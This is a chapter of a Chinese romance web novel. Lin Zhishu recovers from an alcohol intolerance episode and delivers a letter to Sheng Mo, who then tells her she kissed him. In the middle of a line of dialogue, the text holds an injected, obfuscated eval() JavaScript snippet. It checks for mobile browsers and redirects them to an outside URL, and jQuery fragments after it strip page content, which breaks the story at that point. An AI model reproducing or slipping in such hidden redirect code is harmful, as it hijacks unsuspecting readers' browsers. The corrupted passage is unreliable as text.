这天是周日，傍晚五点。
林知树感觉自己的左右脑正在互搏。
左脑隐隐觉得自己做了坏事，右脑劝她继续睡觉。通常睡觉这个选项总是赢家，但今天另一个选项破天荒地占了上风。大概是坏事的余震太强了。
她硬生生地把自己从一团混沌的睡意里扯出来。
她抬起头，用手臂撑起趴在桌子上的上半身，后脑勺闷闷的。
视线里是丝丝缕缕的模糊影像。
窗外的天色已经暗了。
庄时曼的声音先从模糊里浮出来：“你醒了！差点要给你叫救护车了。”
林知树的目光在屋内扫视，看到了三个影子。
“有哪里不舒服吗？”
庄时曼伸手过来扶住了她的胳膊，把她慢慢捞起来扶到沙发上。
林知树视野中的三个人逐渐清晰起来。
一杯温水递到她面前。
她看了看那只握着杯子的手，手指修长，她顺着看向手的主人，看到了黑色的衣服袖子，看到了盛默。
盛默把水递过来，杯子里已经插上了吸管。
她凑过去，用吸管喝了几口水。
意识也跟着清醒了一些。
盛肖莹看了看时间：“既然这样我也先走了，小树你记得去医院检查一下，可能是天生酒精不耐受。”
盛肖莹车里还有刚进的货，她很快离开了。
庄时曼在林知树对面的沙发上坐下，双手撑在膝盖上：“我们过来的时候，你家门开着，根本没关。你小心点啊大笨蛋。”
林知树回忆：她从超市回来，手里抱着东西，打开门，进门后她……
忘了有没有关门，都忘了。
庄时曼继续道：“我和莹姐一起进货回来，路线经过这里，刚好遇到在楼下鬼鬼祟祟的盛默，因为你不接电话，我也开始担心。因为保安认识我，就放我们进来了，我们三个一起上来，发现你家门开着，进来就发现你这样了。”
林知树的大脑正在缓慢重启：“你决定放弃编剧做咖啡店了？”
这个家伙，第一反应怎么是这个。
庄时曼纳闷：“这个不重要，就是我好奇嘛，跟去看看进货怎么进的，也想了解一下这个行业。”
“——你怎么不问这个家伙鬼鬼祟祟地过来做什么？”
林知树的视线转向盛默。
盛默稍微移开了一点目光。
“联系不上你，路过的时候在你家楼下停了一会儿。”他冷淡地道。
庄时曼似乎憋着什么想说，但看了一眼林知树，又停下话头了，她叹气道：“这事等你好一点再说吧，反正还有大事呢，我话先说在这里，免得盛默瞒着你。”
林知树：“……大事。”
她就知道自己刚才做了坏事。
*
虽然没有呼吸异常等严重症状，但次日林知树还是去了一趟医院。
结果显示ALDH2基因缺陷导致乙醛无法被正常代谢，症状算轻微。
林知树的调酒师学习计划也就此中断了。
至于那个糟心的快递，爱来不来吧，现在它已经没用了。
手机上的未读消息显示，昨天盛默联系她的原因是之前的研究生导师要退休了，一批同学正在私下筹备一个荣休纪念聚会。
虽然盛默没有说更多的细节，但林知树猜得到：这个邀请是盛默自己的主意。
因为筹备组的同学和她不怎么熟悉，不会费力来捞她。更不可能有人知道盛默最近和她走得近。
林知树和研究生导师关系还不错，但她不想参加这种聚会，这是她最不擅长的场合，消耗很多大脑算力token不说，还会带来情绪压力。
她拒绝了这次纪念聚会，她会用自己的方式向导师表达退休快乐。
林知树在笔记本上划掉【调酒师】那一条后，却又忽然想到了那件事。
她做的那件“坏事”，到底是什么？
庄时曼说等她好一点说，盛默更是从头到尾一个字都没有透露，问盛肖莹更不现实。这些人漏风的漏风，严实的严实，最后居然达成了统一战线：都不说。
林知树靠着沙发，仰起头盯着天花板：“……”
但现在是周一工作时间，发消息问这个不太好。
她有着非常强烈的趋利避害意识，知道自己做了坏事，就更不能在对方最烦心的时候去撞枪口。
她决定等到晚上，盛默下班回家后再问问他。
晚上，她把这件事忘了。
等林知树想起来的时候，又是周二的工作时间。工作时间可不是什么说事情的好机会。
有了昨天的前车之鉴，林知树开始担心今天晚上也会忘记这回事，她抓耳挠腮，最后一拍脑瓜子，决定写信。
现代通讯最糟糕的一点在于即时性，看到页面上未读红点的时候已经来不及了，烂消息带来的烂心情会腐烂一整天。
信就不一样了，做好了心理准备才拆开，烂消息带来的冲击感会被削弱，甚至会因为“不如心理预期中那样烂”而莫名感恩。
她在纸上写：【谢谢你想到我并及时邀请我，非常感谢！我隐约记得我好像对你做了点坏事，请告诉我，我这两天晚上都有点担心。】
其实这两天晚上睡得很好，倒头就着，她会为这种事失眠才怪。
不过出于礼貌和好奇，她还是得知晓实情，把自己写得坐卧不安一些总没有坏处，至少显得有诚意。
刚好手边有之前在花店做好的干花制品，一部分是玻璃罩干花摆件，还有几张干花书签，她顺手塞了一张黄玫瑰干花书签放进信封里。
太体面了。
林知树满意地看了一眼贴好的信封：在字里行间她把自己包装成了一个体面礼貌又有情调的人。
下午，她揣着信封出门的时候都觉得自己周身散发着体面人的光辉，走路步伐中多了点六亲不认的意味。
盛默住的小区叫四季花城。四季花城的安保和门禁远不如林知树所住的公寓那么严格。这里居民多、外卖快递人员进进出出，物业对于非本小区人员的管控态度睁一只眼闭一只眼。
林知树在楼下没找到信箱，便决定把信塞进盛默家的门缝里，走上楼一看——门缝紧实，根本没有地方塞。
林知树：“……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342356|199405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
误算了。
一定是之前喝朗姆酒的时候把脑子喝坏了，她忘记把这个算进去了。
现在体面人林知树一朝沦落成可怜人了。
她想来想去没想到其他办法，时间也不早了，不能把这种东西交给门卫，现在她能接受的竟然只有拿着信在门口等盛默回来这条路了。
虽然变得有点不体面了，但林知树倒是觉得这个体验很稀奇。
她蹲守在楼梯间的拐角里。
*
盛默回到家门口的时候，从旁边窜出来一个人。
林知树把信封往他面前一戳：“拿着。”
盛默的脚步顿住了，他没想到她会在这里，神色有些怔怔的，他下意识伸手接过信来。
“走了。”
林知树递信结束，二话不说，风一样离开了。
功成身退。
这种撤退方式让盛默想起了上次在公交车上林知树往他手里塞纸条的经历了。
盛默看着她消失在楼梯间里，他低头又看了看手里的那封信。
进屋后，盛默把那封信放在茶几上。
他没有立刻拆开，走进厨房接了一杯水，喝了几口，又走回客厅坐下。
信封就在他面前的茶几上，安安静静地躺着。
盛默拿起信封，沿着封口处边缘撕开了一个角，打开一个整整齐齐的口子。
一张黄玫瑰干花书签。
黄玫瑰被压制在透明的薄膜之间，花瓣脱了水，颜色介于金黄和淡黄之间。
这是上次他送过去的花，当时单纯是幼稚鬼上身报复她一把，没想到她做成干花书签了。
盛默的指腹轻轻放在书签的表面，隔着薄膜触碰了一下。
他把书签放在茶几上，拿出折起来的信纸。
打开信纸，信上的内容和上次的纸条如出一辙的简洁。
盛默的神色却逐渐过渡成平滑。
“……”
唇上那种温热的触感却慢慢地灼烧起来。
他平静地拿出手机，翻到联系人那里。
*
【盛默和周致同时落水，你救谁？请注意不存在第三个剑走偏锋的选项。】
林知树收到了来自庄时曼的消息。
经典的问题来了。
【林知树】：真的没有第三个选项吗？
【庄时曼】：没有。有了第三个选项，这个问题存在的意义就消失了。
【林知树】：救朋友盛默。
【庄时曼】：……朋友。咳咳，朋友。你确定是朋友？你再去问问看呢？你最好再确认一下，看看是不是需要负责。如果对方不在意这件事，那就是朋友，毕竟如果是我我也不会在意的。如果对方超级在意，甚至把自己包装成受害者的模样，那你就要小心了。
下一秒，林知树收到了来自盛默的消息。
她脸上的表情凝固了。
她退出社交软件，把手机屏幕按灭，重新打开手机，重新打开软件，重新点进去，以确认不是自己看错了。
但那四个字还是一样，丝毫不变。
【盛默】：你亲了我。